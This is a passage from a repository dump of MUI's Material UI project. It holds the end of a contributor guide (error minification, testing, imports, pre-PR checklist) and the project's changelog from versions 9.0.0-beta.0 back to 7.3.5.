minify-error */` comment to activate the babel plugin:\n\n```tsx\nthrow /* minify-error */ new Error(\n  'MUI: Expected valid input target. ' +\n    'Did you use a custom `inputComponent` and forget to forward refs? ' +\n    'See https://mui.com/r/input-component-ref-interface for more info.',\n);\n```\n\nThe minifier works with both `Error` and `TypeError` constructors.\n\n#### After Adding/Updating Errors\n\nRun `pnpm extract-error-codes` to update `docs/public/static/error-codes.json`.\n\n**Important:** If the update created a new error code, but the new and original message have the same number of arguments and semantics haven't changed, update the original error in `error-codes.json` instead of creating a new code.\n\n### Component Structure\n\n```text\npackages/mui-material/src/Button/\n├── Button.tsx           # Component implementation\n├── Button.d.ts          # TypeScript declarations (for JSDoc API docs)\n├── Button.test.js       # Unit tests\n├── buttonClasses.ts     # CSS classes\n└── index.ts             # Public exports\n```\n\n### Testing\n\n- Use `createRenderer()` from `@mui/internal-test-utils`\n- Use Chai BDD-style assertions (`expect(x).to.equal(y)`)\n- Custom matchers: `toErrorDev()`, `toWarnDev()` for console assertions\n\n```js\nimport { createRenderer } from '@mui/internal-test-utils';\n\ndescribe('Button', () => {\n  const { render } = createRenderer();\n\n  it('renders children', () => {\n    const { getByRole } = render(<Button>Hello</Button>);\n    expect(getByRole('button')).to.have.text('Hello');\n  });\n});\n```\n\n### Imports\n\nUse one-level deep imports to avoid bundling entire packages:\n\n```js\nimport Button from '@mui/material/Button'; // Good\nimport { Button } from '@mui/material'; // Avoid in packages\n```\n\n## Pre-PR Checklist\n\n1. `pnpm prettier` - Format code\n2. `pnpm eslint` - Pass linting\n3. `pnpm typescript` - Pass type checking\n4. `pnpm test:unit` - Pass unit tests\n5. If API changed: `pnpm proptypes && pnpm docs:api`\n6. If demos changed: `pnpm docs:typescript:formatted`\n\n## PR Title Format\n\n`[product-name][Component] Imperative description`\n\nExamples:\n\n- `[material-ui][Button] Add loading state`\n- `[docs] Fix typo in Grid documentation`\n"
  },
  {
    "path": "CHANGELOG.md",
    "content": "# [Versions](https://mui.com/versions/)\n\n## 9.0.0-beta.0\n\n<!-- generated comparing v9.0.0-alpha.4..master -->\n\n_Mar 25, 2026_\n\nA big thanks to the 8 contributors who made this release possible.\n\n### `@mui/material@9.0.0-beta.0`\n\n#### Breaking Changes\n\n- [linear-progress] Remove deprecated CSS classes (#48068) @mj12albert\n- [list-item, list-item-text] Remove deprecated props (#48042) @siriwatknp\n- [button-group] Remove deprecated classes (#48043) @siriwatknp\n- [card] Remove deprecated CardHeader props (#47995) @silviuaavram\n- [checkbox][radio][switch] Remove deprecated inputProps and inputRef (#48059) @siriwatknp\n- [chip] Remove deprecated classes (#48046) @silviuaavram\n- [dialog][modal][drawer][swipeabledrawer] Remove deprecated props and classes (#48039) @silviuaavram\n- [divider] Remove deprecated CSS classes (#48075) @siriwatknp\n- [drawer] Remove deprecated CSS classes (#48077) @siriwatknp\n- [image-list-item-bar] Remove deprecated CSS classes (#48064) @siriwatknp\n- [inputs] Remove deprecated props & classes (#48071) @mj12albert\n- [material-ui] Remove unnecessary overridesResolvers from styled components (#48082) @ZeeshanTamboli\n- [material-ui][system] Remove deprecated system props from Box, Stack, Typography (#48072) @siriwatknp\n- [pagination-item] Remove deprecated CSS classes (#48076) @siriwatknp\n- [pagination-item] Remove deprecated props (#48038) @siriwatknp\n- [rating] Remove deprecated IconContainerComponent (#48019) @siriwatknp\n- [select] Remove deprecated CSS classes (#48065) @mj12albert\n- [slider] Remove deprecated CSS classes (#48074) @siriwatknp\n- [step-connector][step-content][step-label] Remove deprecated props and classes (#48058) @siriwatknp\n- [tabs][tab] Remove deprecated CSS classes (#48078) @siriwatknp\n- [table-pagination][table-sort-label] Remove deprecated props and classes (#48060) @siriwatknp\n- [toggle-button-group] Remove deprecated classes (#48061) @siriwatknp\n\n#### Changes\n\n- [system] Improve performance when using sx prop (#44254) @romgrk\n\n### `@mui/codemod@9.0.0-beta.0`\n\n- [codemod] Add missing codemod links in upgrade guide (#48069) @silviuaavram\n\n### Docs\n\n- Mention all breaking changes in changelog (#48091) @silviuaavram\n- Fix link to upgrade-to-v9 docs in release CHANGELOG (#48081) @ZeeshanTamboli\n\n### Core\n\n- Update browserslistrc (#48085) @silviuaavram\n- [code-infra] Prevent major version updates of bundler/framework packages in bundling fixtures (#48062) @Copilot\n- [code-infra][icons-material] Avoid material utils barrel in createSvgIcon (#48029) @anchmelev\n- [docs-infra] Migrate more leaf components to mui-docs (#48018) @brijeshb42\n\nAll contributors of this release in alphabetical order: @anchmelev, @brijeshb42, @Copilot, @mj12albert, @romgrk, @silviuaavram, @siriwatknp, @ZeeshanTamboli\n\n## 9.0.0-alpha.4\n\n<!-- generated comparing v9.0.0-alpha.3..master -->\n\n_Mar 20, 2026_\n\nA big thanks to the 11 contributors who made this release possible.\n\n### `@mui/material@9.0.0-alpha.4`\n\n#### Breaking Changes\n\n- [accordion] Remove deprecated props (#47963) @silviuaavram\n  - `TransitionComponent`\n  - `TransitionProps`\n- [accordionsummary] Remove deprecated CSS class (#48006) @silviuaavram\n  - `contentGutters`\n- [alert] Remove deprecated CSS classes (#48011) @silviuaavram\n  - `standardSuccess`\n  - `standardInfo`\n  - `standardWarning`\n  - `standardError`\n  - `outlinedSuccess`\n  - `outlinedInfo`\n  - `outlinedWarning`\n  - `outlinedError`\n  - `filledSuccess`\n  - `filledInfo`\n  - `filledWarning`\n  - `filledError`\n- [alert] Remove deprecated props (#47965) @silviuaavram\n  - `components`\n  - `componentsProps`\n- [autocomplete] Remove deprecated props (#47864) @ZeeshanTamboli\n  - `ChipProps`\n  - `componentsProps`\n  - `ListboxComponent`\n  - `ListboxProps`\n  - `PaperComponent`\n  - `PopperComponent`\n  - `renderTags`\n- [avatar] Remove deprecated props (#47966) @silviuaavram\n  - `imgProps`\n- [avatargroup] Remove deprecated props (#47968) @silviuaavram\n  - `componentsProps`\n- [backdrop] Remove deprecated props (#47991) @silviuaavram\n  - `components`\n  - `componentsProps`\n  - `TransitionComponent`\n- [badge] Remove deprecated props (#47993) @silviuaavram\n  - `components`\n  - `componentsProps`\n- [button] Remove deprecated CSS classes (#48012) @silviuaavram\n  - Color variant classes: `textInherit`, `outlinedPrimary`, `containedSecondary`, etc.\n  - Size classes: `textSizeSmall`, `iconSizeMedium`, etc.\n- [circularprogress] Remove deprecated CSS classes (#48014) @silviuaavram\n  - `circleDeterminate`\n  - `circleIndeterminate`\n- [divider] Remove deprecated prop (#48013) @atharva3333\n  - `light`\n- [formcontrollabel] Remove deprecated props (#48032) @atharva3333\n  - `componentsProps`\n- [menu] Remove deprecated props (#48021) @siriwatknp\n  - `MenuListProps`\n  - `PaperProps`\n  - `TransitionProps`\n- [mobilestepper] Remove deprecated props (#48041) @siriwatknp\n  - `LinearProgressProps`\n- [popover] Remove deprecated props (#48021) @siriwatknp\n  - `BackdropComponent`\n  - `BackdropProps`\n  - `PaperProps`\n  - `TransitionComponent`\n  - `TransitionProps`\n- [popper] Remove deprecated props (#48020) @siriwatknp\n  - `components`\n  - `componentsProps`\n- [select] Remove deprecated props passed via `MenuProps` (#48021) @siriwatknp\n  - `MenuListProps`\n  - `PaperProps`\n  - `TransitionProps`\n- [slider] Remove deprecated props (#47996) @siriwatknp\n  - `components`\n  - `componentsProps`\n- [speeddial] Remove deprecated props (#47998) @siriwatknp\n  - `TransitionComponent`\n  - `TransitionProps`\n- [speeddialaction] Remove deprecated props (#47998) @siriwatknp\n  - `FabProps`\n  - `tooltipTitle`\n  - `tooltipPlacement`\n  - `tooltipOpen`\n  - `TooltipClasses`\n- [tabs] Remove deprecated props (#48017) @siriwatknp\n  - `ScrollButtonComponent`\n  - `TabIndicatorProps`\n  - `TabScrollButtonProps`\n  - `slots.StartScrollButtonIcon`\n  - `slots.EndScrollButtonIcon`\n- [textfield] Remove deprecated props (#47878) @ZeeshanTamboli\n  - `InputProps`\n  - `inputProps`\n  - `SelectProps`\n  - `InputLabelProps`\n  - `FormHelperTextProps`\n- [tooltip] Remove deprecated props (#47988) @siriwatknp\n  - `components`\n  - `componentsProps`\n  - `PopperComponent`\n  - `PopperProps`\n  - `TransitionComponent`\n  - `TransitionProps`\n- [typography] Remove deprecated prop (#47986) @siriwatknp\n  - `paragraph`\n- [buttonbase] Key handlers should not run on a disabled non-native button (#48003) @mj12albert\n- [tablepagination] Format pagination numbers according to locale (#47803) @siriwatknp\n- [textfield] Use non-native label for `<TextField select/>` (#47958) @mj12albert\n\nCheck out the [v9 upgrade guide](https://next.mui.com/material-ui/migration/upgrade-to-v9/).\n\n#### Changes\n\n- [autocomplete] Optimize selected option lookup (#47953) @anchmelev\n- [buttonbase] Fix native button detection (#47985) @mj12albert\n- [inputbase] Fix test using removed InputProps on TextField (#48000) @siriwatknp\n- [popper] Add missing classes export (#48031) @mj12albert\n- [select] Fix focus visible always set on menu item (#47912) @silviuaavram\n- [slider] Fix focus visible styles incorrectly applied by pointer (#47894) @mj12albert\n- [slider] Accept readonly array for the value prop (#47936) @pcorpet\n\n### `@mui/codemod@9.0.0-alpha.4`\n\n- [codemod] Add slot key rename to `tabs-props` codemod and add to README (#48035) @siriwatknp\n- [codemod] Add card-header-props migration guide (#48005) @siriwatknp\n\n### Docs\n\n- [blog] Lowercase 2026-MUI-X-price-changes blog post URL (#47871) @Janpot\n- [docs] Wide docs layout (#47950) @noraleonte\n- [docs] Mention the list of props removed in upgrade guide (#48010) @silviuaavram\n- [docs] Update Autocomplete deprecated props removal migration guide docs (#47990) @ZeeshanTamboli\n- [docs-infra] Extract shared App component from \\_app into @mui/docs (#47933) @brijeshb42\n- [docs-infra] Expose global theme object (#47964) @Janpot\n- [docs][system] Update `styled` API docs for easier understanding (#47957) @olivier-lxo\n\n### Core\n\n- [code-infra] Add pkg-pr-new as dev dependency (#47992) @Janpot\n- [code-infra] Remove CI coverage collection and upload to Codecov (#47930) @Janpot\n- [core] Migrate to ESLint 10 (#47872) @brijeshb42\n- [core] Remove GridLegacy component (#47956) @siriwatknp\n\nAll contributors of this release in alphabetical order: @anchmelev, @atharva3333, @brijeshb42, @Janpot, @mj12albert, @noraleonte, @olivier-lxo, @pcorpet, @silviuaavram, @siriwatknp, @ZeeshanTamboli\n\n## 9.0.0-alpha.3\n\n<!-- generated comparing v9.0.0-alpha.2..master -->\n\n_Mar 12, 2026_\n\nA big thanks to the 10 contributors who made this release possible. Here are some highlights ✨:\n\n- 📖 A new [Menubar](https://mui.com/material-ui/react-menubar/) component page integrated with [Base UI](https://base-ui.com/react/components/menubar)\n- ♿️ Improved the Roving TabIndex keyboard navigation for the Stepper, Tabs and MenuList components.\n\n### `@mui/material@9.0.0-alpha.3`\n\n#### Breaking Changes\n\n- [stepper][menulist][tabs] Improve accessibility (#47687) @silviuaavram\n\n#### Changes\n\n- [autocomplete] Add `root` slot (#47852) @GerardasB\n- [autocomplete] Fix popup reopening on window focus regain with openOnFocus (#47790) @aman44444\n- [autocomplete] Support full slots for clearIndicator and popupIndicator (#47891) @silviuaavram\n- [material-ui] Partially revert \"[material-ui] Clean up duplicated CSS rules (#47838)\" (#47927) @sai6855\n\n### Docs\n\n- [docs][codemod] Add v7 migration docs for deprecated Autocomplete APIs and Autocomplete codemod (#47945) @ZeeshanTamboli\n- [docs] Update faq about vendor chunks (#47747) @Janpot\n- [docs] Use direct palette vars in Tailwind v4 snippet (#47940) @Ahmad-Alaziz\n- [docs][menubar] Add Menubar component page (#47616) @siriwatknp\n\n### Core\n\n- [core] Fix the release prepare steps (#47951) @silviuaavram\n- [core] Remove Joy UI code and docs (#47939) @mnajdova\n- [code-infra] Add previously missed export of themeCssVarsAugmentation (#47918) @brijeshb42\n- [docs-infra] Import font module for nextjs transpilation (#47935) @brijeshb42\n- [docs-infra] Migrate simpler modules from docs to mui-docs (#47897) @brijeshb42\n- [test] Fix detached anchorEl elements in tests (#47929) @Janpot\n\nAll contributors of this release in alphabetical order: @Ahmad-Alaziz, @aman44444, @brijeshb42, @GerardasB, @Janpot, @mnajdova, @sai6855, @silviuaavram, @siriwatknp, @ZeeshanTamboli\n\n## 9.0.0-alpha.2\n\n<!-- generated comparing v9.0.0-alpha.1..master -->\n\n_Mar 5, 2026_\n\nA big thanks to the 4 contributors who made this release possible.\n\n### @mui/material@9.0.0-alpha.2\n\n- Clean up duplicated CSS rules (#47838) @sai6855\n\n### @mui/system@9.0.0-alpha.2\n\n- Refactor sortContainerQueries to define regex outside of sort function (#47817) @sai6855\n\n### Docs\n\n- Move shared components to @mui/docs package (#47672) @Janpot\n- Fix small typo in NumberField page (#47877) @arthur-plazanet\n\n### Core\n\n- [code-infra] Reduce paths for attw checks (#47896) @brijeshb42\n- [docs-infra] Run syncTeamMembers (#47900) @Janpot\n\nAll contributors of this release in alphabetical order: @arthur-plazanet, @brijeshb42, @Janpot, @sai6855\n\n## 9.0.0-alpha.1\n\n<!-- generated comparing v9.0.0-alpha.0..master -->\n\n_Feb 26, 2026_\n\nA big thanks to the 13 contributors who made this release possible. Here are some highlights ✨:\n\n### @mui/material@9.0.0-alpha.1\n\n#### Breaking Changes\n\n- [Autocomplete] Prevents Autocomplete menu from opening on right click (#47797) @silviuaavram\n- [Backdrop] Remove aria-hidden by default (#47798) @silviuaavram\n- [ButtonBase] Ensure that onClick propagates when non-native button is clicked (#47800) @silviuaavram\n- [Dialog][Modal] Remove `disableEscapeKeyDown` prop (#47695) @silviuaavram\n- [Grid] Remove system props support (#47846) @siriwatknp\n- [theme] Remove MuiTouchRipple from theme component types (#47849) @siriwatknp\n- [useAutocomplete] Improve isOptionEqualToValue value argument type (#47801) @silviuaavram\n\n#### Changes\n\n- [TableCell][theme] Apply `alpha` before color mixing to border bottom color when nativeColor + cssVariables is used (#47762) @ZeeshanTamboli\n- [Tooltip] Fix error is thrown when wrapping an input which is disabled while focused (#47684) @ZeeshanTamboli\n\n### Docs\n\n- [docs] Add updated community theme resource (#47847) @PeterTYLiu\n- [docs] Few copy fixes (#47806) @pavan-sh\n- [docs] Fix IPA reader link in blog post (#47796) @pavan-sh\n- [docs] Fix JSX in Overriding component structure docs (#47799) @ZeeshanTamboli\n- [docs] Fix the keyboard navigation in GroupedMenu example (#47842) @silviuaavram\n- [docs] Fix Theme builder video (#47835) @oliviertassinari\n- [docs] Update pricing sankey as done (#47795) @alexfauquette\n- [docs][system] Update sizing docs to clarify `(0, 1]` behavior. (#47845) @matthias-ccri\n\n### Core\n\n- [blog] Blogpost for upcoming price changes for MUI X (#47748) @DanailH\n- [code-infra] Detect browser envs that don't support layout (#47813) @Janpot\n- [code-infra] Enable undefined addition to optional properties (#47750) @brijeshb42\n- [code-infra] Exclusively enable test mode in jsdom (#47812) @Janpot\n- [code-infra] Fix console.warn during test (#47802) @Janpot\n- [code-infra] Remove vale as a workspace dependency (#47860) @brijeshb42\n- [code-infra] Setup flat build for packages (#47670) @brijeshb42\n- [code-infra] Upgrade react-docgen to v8 (#47685) @JCQuintas\n- [docs-infra] Reapply Cookie Banner with Design Fixes (#47744) @dav-is\n- [internal] Remove legacy MUI Base API docs (#47804) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @alexfauquette, @brijeshb42, @DanailH, @dav-is, @Janpot, @JCQuintas, @matthias-ccri, @oliviertassinari, @pavan-sh, @PeterTYLiu, @silviuaavram, @siriwatknp, @ZeeshanTamboli\n\n## 9.0.0-alpha.0\n\n<!-- generated comparing v7.3.8..master -->\n\n_Feb 17, 2026_\n\nA big thanks to the 3 contributors who made this release possible.\n\n### @mui/material@9.0.0-alpha.0\n\n- [theme] Generate `color-mix` value on top of default generated Material UI CSS variables (#47767) @ZeeshanTamboli\n\n### Docs\n\n- [docs] Make tooltips describe their visible text triggers (#47658) @silviuaavram\n- [docs][theme] Fix `nativeColor` docs (#47759) @ZeeshanTamboli\n\n### Core\n\n- [blog] A pattern for opt-in type-only breaking changes in minor versions (#47622) @bernardobelchior\n- [internal] Prepare libraries for first v9 alpha release (#47756) @silviuaavram\n\nAll contributors of this release in alphabetical order: @bernardobelchior, @silviuaavram, @ZeeshanTamboli\n\n## v8\n\nThis version is skipped to align the release version with MUI X v9.\n\n## 7.3.8\n\n<!-- generated comparing v7.3.7..master -->\n\n_Feb 12, 2026_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n### `@mui/material@7.3.8`\n\n- [alert] Revert removing default icon mapping fallback (#47629) @ZeeshanTamboli\n- [app-bar] Fix optional chaining in joinVars function (#47739) @sai6855\n- [autocomplete] Fix scroll position resetting on reopen with `disableCloseOnSelect` (#47248) @ZeeshanTamboli\n- [autocomplete] Pass fullWidth prop to input, with default as true (#47663) @silviuaavram\n- [badge] Refactor variant styles generation (#47742) @sai6855\n- [chip] Remove unnecessary `onDelete` check (#47753) @ZeeshanTamboli\n- [switch][checkbox][radio] Remove `aria-disabled` from root span (#46318) @KirankumarAmbati\n- [collapse] Remove unnecessary string concatenation (#47745) @sai6855\n- [drawer] `persistent` and `permanent` variant Drawers should not override the styles via theme using `modal` class (#47581) @ZeeshanTamboli\n- [tabs] Add ability to extend Tabs variant (#47590) @aditya1906\n- [useAutocomplete] Add aria-multiselectable to listbox props when multiple is true (#47632) @silviuaavram\n- [useAutocomplete] Use `React.Key` instead of `any` for `key` prop (#47619) @sonixx02\n\n#### Core\n\n- Revert \"[docs-infra] Add Cookie Banner and Analytics Provider (#47445)\" (868d23e) @dav-is\n- Revert \"[docs-infra] Update Cookie Consent Dialog styling and content (#47718)\" (ae29d03) @dav-is\n- [api-docs-builder] Validate slots prop and Slots interface export consistency (#47623) @Janpot\n- [code-infra] Remove `window.muiDocConfig` (#47737) @Janpot\n- [code-infra] Fix flaky Select test on Webkit (#47728) @Janpot\n- [code-infra] Remove usage of NODE_ENV=test (#47692) @Janpot\n- [code-infra] Prepare eslint rule rename (#47702) @Janpot\n- [code-infra] Next.js 15.5.11 (security update) (#47697) @Janpot\n- [code-infra] Fix Tooltip tests flakyness (#47669) @Janpot\n- [code-infra] Improve instructions for error messages (#47668) @Janpot\n- [code-infra] Add initial agent instructions (#47655) @Janpot\n- [code-infra] Update broken links checker (#47633) @Janpot\n- [code-infra] Improve Tooltip leaveDelay test (#47624) @Janpot\n- [code-infra] Fix internal broken links (#47607) @Janpot\n- [docs-infra] Resolve a few 301s in our docs (#47746) @Janpot\n- [docs-infra] Update Cookie Consent Dialog styling and content (#47718) @dav-is\n- [docs-infra] Add Cookie Banner and Analytics Provider (#47445) @dav-is\n- [docs-infra] Make sure /customers page has a h1 (#47615) @Janpot\n- [docs-infra] Fix privacy link (#47614) @Janpot\n- [docs-infra] Resolve a few 301s (#47579) @Janpot\n- [internal] Remove unused sponsor files (#47741) @oliviertassinari\n- [markdown] Fix some broken hash links (#47609) @Janpot\n- [test] Cleanup Table tests TODOs (#47656) @Ocheretovich\n\n### Docs\n\n- [website] unclickable banner in the pricing page (#47634) @aemartos\n- [blog] Company Update: What we've been working on (and why) (#47626) @alelthomas\n- [docs] Remove outdated notifications (#47743) @bernardobelchior\n- [docs] Make Demo component product-agnostic (#47635) @Janpot\n- [docs] Copyedit the Number Field doc (#47469) @mapache-salvaje\n- [docs] Fix Roboto font not loading in iframe demos (#47660) @Janpot\n- [docs] Replace Checkbox with Icons in Combobox examples (#47654) @silviuaavram\n- [docs] Fix punctuation in TypeScript guide description (#47617) @nodirbekprogrammer\n\nAll contributors of this release in alphabetical order: @aditya1906, @aemartos, @alelthomas, @bernardobelchior, @dav-is, @Janpot, @KirankumarAmbati, @mapache-salvaje, @nodirbekprogrammer, @Ocheretovich, @oliviertassinari, @sai6855, @silviuaavram, @sonixx02, @ZeeshanTamboli\n\n## 7.3.7\n\n<!-- generated comparing v7.3.6..master -->\n\n_Jan 8, 2026_\n\nA big thanks to the 16 contributors who made this release possible.\n\n### `@mui/material@7.3.7`\n\n- [accordion] Remove unnecessary handling of `square` prop on Accordion Root (#47457) @ZeeshanTamboli\n- [alert] Remove unnecessary default icon mapping fallback (#47460) @ZeeshanTamboli\n- [appbar] Fix inherit color CSS variable not getting applied (#47518) @ZeeshanTamboli\n- [autocomplete] Fix `ArrowLeft`, `Backspace` & `Delete` behavior for multiple and single-value rendering with proper caret handling (#47411) @jnbain\n- [backdrop] Remove unnecessary passing of `classes` from root slot (#47519) @ZeeshanTamboli\n- [button-group] Fix styles when variant is `contained` (#47499) @ZeeshanTamboli\n- [card-action-area] Remove incorrect root ref being forwarded to focus highlight component (#47523) @ZeeshanTamboli\n- [checkbox] Fix readonly checkboxes (#47503) @mj12albert\n- [click-away-listener] Tighten the parameter type of createHandleSynthetic method (#47525) @ZeeshanTamboli\n- [dialog] Fix backdrop theme style overrides (#47544) @ZeeshanTamboli\n- [focus-trap] Compute `activeElement` inside `loopFocus` on every keydown (#47566) @ZeeshanTamboli\n- [modal] Take non-integer padding-right into consideration when scroll locking (#47420) @Zache\n- [select] Fix dropdown width does not match trigger width on window resize (#47526) @AarishMansur\n- [tabs] Fix passing incorrect slot name props (scrollButton → scrollButtons) (#47215) @rithik56\n\n### Docs\n\n- [card] Fix key warning (#47524) @ZeeshanTamboli\n- [dialog] Replace TranstionProps with slotProps.transition (#47569) @sai6855\n- [number-field] Use stable Base UI package (#47504) @siriwatknp\n- [snackbar] Replace TransitionComponent with slots.transition (#47570) @sai6855\n- Fix incorrect indentation in migration guide (#47571) @sai6855\n- Enable MUI chat on Material UI demos (#46837) @siriwatknp\n- Add docs and website banner for Dev survey'25 (#47521) @prakhargupta1\n- Update Tailwind CSS v4 + Next.js Pages Router docs (#47546) @atharva3333\n- Add warning callout to Sync plugin doc (#47511) @mapache-salvaje\n- Update typo in TailwindCSS v4 integration with Next.js docs (#47512) @TimKraemer\n- Fix link to contributing guide (#47473) @oliviertassinari\n- Improve description of Accordion props (#47459) @ZeeshanTamboli\n\n### Core\n\n- [blog] Whats new since MUI X v8 [DX-51] (#47140) @joserodolfofreitas\n- [code-infra] Fix React@next CI job (#47493) @Janpot\n- [code-infra] Move font loading to @mui/docs (#47385) @Janpot\n- [code-infra] Fix CI for React 18 (#47560) @Janpot\n- [code-infra] Prevent legacy browsers tests from updating (#47496) @Janpot\n- [code-infra] Move `@mui/internal-test-utils` to code infra repo (#47422) @Janpot\n- [code-infra] Fix React@next CI job (#47493) @Janpot\n- [examples] Update Next.js versions to v16 in Next.js examples (DX-57) (#47453) @alelthomas\n- [internal] Bump Next.js & React version to avoid security vulnerability (#47427) @oliviertassinari\n- [test] Use plain playwright for e2e (#47410) @mj12albert\n- [test] Fix react-18 tests (#47407) @Janpot\n\nAll contributors of this release in alphabetical order: @AarishMansur, @alelthomas, @atharva3333, @bricefrisco, @Janpot, @jnbain, @joserodolfofreitas, @mapache-salvaje, @mj12albert, @oliviertassinari, @prakhargupta1, @rithik56, @siriwatknp, @TimKraemer, @Zache, @ZeeshanTamboli\n\n## 7.3.6\n\n<!-- generated comparing v7.3.5..master -->\n\n_Dec 3, 2025_\n\nA big thanks to the 22 contributors who made this release possible.\n\n### @mui/material@7.3.6\n\n- [Accordion] Move properties to the AccordionOwnProps interface (#47348) @Aleksan4e3\n- [Autocomplete] Remove unnecessary `filterSelectedOptions` dependency from `syncHighlightedIndex` useCallback (#47378) @ZeeshanTamboli\n- [Autocomplete] Fix input caret not showing when focusing after chip navigation (#47249) @vrachuri28\n- [Autocomplete] Fix ArrowLeft crash when value is not set with single-value rendering (#47214) @rithik56\n- [Button] Fix running formAction when passed (#47185) @sai6855\n- [Chip] Remove leftover closing parenthesis in CSS class key (#47345) @ZeeshanTamboli\n- [ListItem] Add `secondaryAction` slot to `ListItem` (#47399) @sai6855\n- [NumberField] Fix scroll behavior (#47397) @oliviertassinari\n- [Select] Fix keyboard navigation while rendering in shadow DOM (#47380) @xBlizZer\n- [Select] Fix cannot pass certain event handlers (#47366) @ZeeshanTamboli\n- [Slider] Accept readonly array for `marks` prop (#47370) @pcorpet\n- [Snackbar] Avoid unnecessary `ownerState` spread into `useSnackbar` (#47373) @ZeeshanTamboli\n- [TextField] Allow custom props in slot props via TS module augmentation (#47367) @kumarvishwajeettrivedi\n- [Tabs] Fix Arrow key navigation failing when component is rendered in shadow DOM (#47178) @sai6855\n- Fix typings for theme `applyStyles` with custom color schemes (#47242) @akankshahu\n\n### @mui/system@7.3.6\n\n- Fix unwanted attribute on DOM from InitColorSchemeScript `class` attribute (#47200) @siriwatknp\n\n### @mui/lab@7.3.6\n\n- [Masonry] Fix layout flicker and single column issue (#43903) @Fanzzzd\n\n### Docs\n\n- Fix default theme viewer styling (#47400) @sai6855\n- Remove repetitive words (#47384) @rifeplight\n- Fix link to Portal API docs (#47383) @ZeeshanTamboli\n- Remove mentions of MUI Base from Material UI docs (#47324) @mapache-salvaje\n- Update CSP guidance (#47342) @rossdakin\n- Fix pathname collision in LLMs docs generator (#47209) @siriwatknp\n- Resolve redirected urls to their final location (#47193) @Janpot\n- Document correct default values for `elevation` and `square` props (#47261) @Ad1tya-007\n- Fix display of colors in dark mode in palette customization page (#47403) @sai6855\n- Add Number Field component page (#47165) @siriwatknp\n- Fix mcp schema change (#47171) @sai6855\n\n### Core\n\n- [code-infra] Add types for markdown loader (#47075) @Janpot\n- [code-infra] Build test utils with code-infra pipeline (#47405) @Janpot\n- [code-infra] Vitest test migration (#44325) @JCQuintas\n- [code-infra] Revive docs bundle analyzer (#47401) @Janpot\n- [code-infra] Update tests from vitest PR (#47344) @Janpot\n- [code-infra] Use util from code-infra to fetch changelogs (#47350) @brijeshb42\n- [code-infra] Enable production sourcemaps (#47352) @Janpot\n- [code-infra] Use code-infra orb utils in circle ci (#47179) @brijeshb42\n- [code-infra] Use `next/font` for local fonts (#47351) @Janpot\n- [code-infra] New broken links checker (#47113) @Janpot\n- [code-infra] Remove profiler (#47258) @Janpot\n- [code-infra] Api doc optimizations (#47188) @Janpot\n- [code-infra] Increase type check parallelism (#47192) @Janpot\n- [code-infra] Remove deprecated baseUrl (#47210) @Janpot\n- [code-infra] Disable next.js cache (#47233) @Janpot\n- [code-infra] release:build for bundle checker (#47207) @Janpot\n- [code-infra] Parallelize module augmentation tests (#47208) @Janpot\n- [code-infra] Fix next.js parallelism at 2 for macos runner (#47201) @Janpot\n- [code-infra] Fix bash escape (#46969) @oliviertassinari\n- [code-infra] Utilise eslint cache in CI (#47194) @Janpot\n- [code-infra] Enable Next.js build cache to improve CI performance (#47176) @Copilot\n- [code-infra] Remove `apps` folder (#47183) @Janpot\n- [code-infra] Migrate everything to getStaticProps (#47152) @Janpot\n- [docs-infra] Migrate to `next/font` (#47347) @Janpot\n- [docs-infra] Add some `ComponentLinkHeader` bottom margin (#47328) @Janpot\n- [docs-infra] Exclude a few pages from llms-txt (#47111) @Janpot\n- [examples] Add missing .gitignore to NextJS App Router example (#47251) @shamblonaut\n- [examples] Migrate Next.js `next.config.js` to `next.config.mjs` (#44040) @albarv340\n- [internal] Remove leftover testing-library libraries from `mui-material` package (#47392) @ZeeshanTamboli\n- [internal] Remove unnecessary `clean-css` package from docs (#47314) @ZeeshanTamboli\n- [internal] Fix typo `buidApiDocs` -> `buildApiDocs` (#47235) @Ad1tya-007\n- [internal] Remove unused `@vitest/browser` and `@vitest/coverage-v8` (#47189) @ZeeshanTamboli\n- [test] Update e2e test app (#47252) @Ad1tya-007\n- [test] Fix flaky Virtualize Autocomplete regression test (#47199) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @Ad1tya-007, @akankshahu, @albarv340, @Aleksan4e3, @brijeshb42, @Copilot, @Fanzzzd, @Janpot, @JCQuintas, @kumarvishwajeettrivedi, @mapache-salvaje, @oliviertassinari, @pcorpet, @rifeplight, @rithik56, @rossdakin, @sai6855, @shamblonaut, @siriwatknp, @vrachuri28, @xBlizZer, @ZeeshanTamboli\n\n## 7.3.5\n\n<!-- generated comparing v7.3.4..master -->\n\n_Nov 4, 2025_\n\nA big thanks to the 11 contributors who made this release possible.\n\n### `@mui/material@7.3.5`\n\n- [Collapse] Add slots and slotProps props (#47168) @sai6855\n- [l10n] Add missing Catalan (ca-ES) locale (#47156) @frncesc\n- Fix regression on `theme.vars.shape` module augmentation (#47164) @siriwatknp\n\n### `@mui/material-nextjs@7.3.5`\n\n- Support Next.js 16 (#47134) @siriwatknp\n\n### Docs\n\n- [Autocomplete] Update virtualization example to use react-window v2 (#47054) @sai6855\n- [autocomplete] Add note about unique key extraction for duplicate labels (#47010) @PossiblyAShrub\n- [Snackbar] Fix typo in docs (#47038) @sai6855\n- [Transition] Fix horizontal scroll in SimpleFade demo in mobile screens (#47169) @sai6855\n- Replace deprecated `inputProps` with `slotProps.input` in checkbox demos (#47083) @CODEKRUNCH\n\n### Core\n\n- [code-infra] gitignore next-env.d.ts (#47167) @Janpot\n- [code-infra] Migrate versions page to getStaticProps (#47151) @Janpot\n- [code-infra] Fix breaking change for ci publish (#47147) @brijeshb42\n- [code-infra] Remove React import requirement for jsx (#47146) @brijeshb42\n- [code-infra] Update vitest usage detection in `@mui/internal-test-utils` (#47141) @bernardobelchior\n- [code-infra] Setup eslint-plugin-compat (#47133) @brijeshb42\n- [code-infra] Filter out @mui/joy and @mui/base from search results (#47076) @Janpot\n- [code-infra] Fix hotfix instructions (#47015) @Janpot\n- [code-infra] Disable pigment regression tests (#47045) @Janpot\n- [code-infra] Fix moderate dependabot issue (#46946) @Janpot\n- [code-infra] Enable testing-library eslint rules (#47074) @brijeshb42\n- [code-infra] Lint json through eslint (#47056) @Janpot\n- [code-infra] Support custom npm dist tags during release (#47021) @Janpot\n- [code-infra] Remove tsconfig `baseUrl` (#47044) @Janpot\n- [code-infra] Centralize stylelint (#46955) @Janpot\n- [code-infra] Remove legacy feedback (#46981) @Janpot\n- [code-infra] Remove repo build scripts (#47036) @brijeshb42\n- [code-infra] Publish docs from upstream 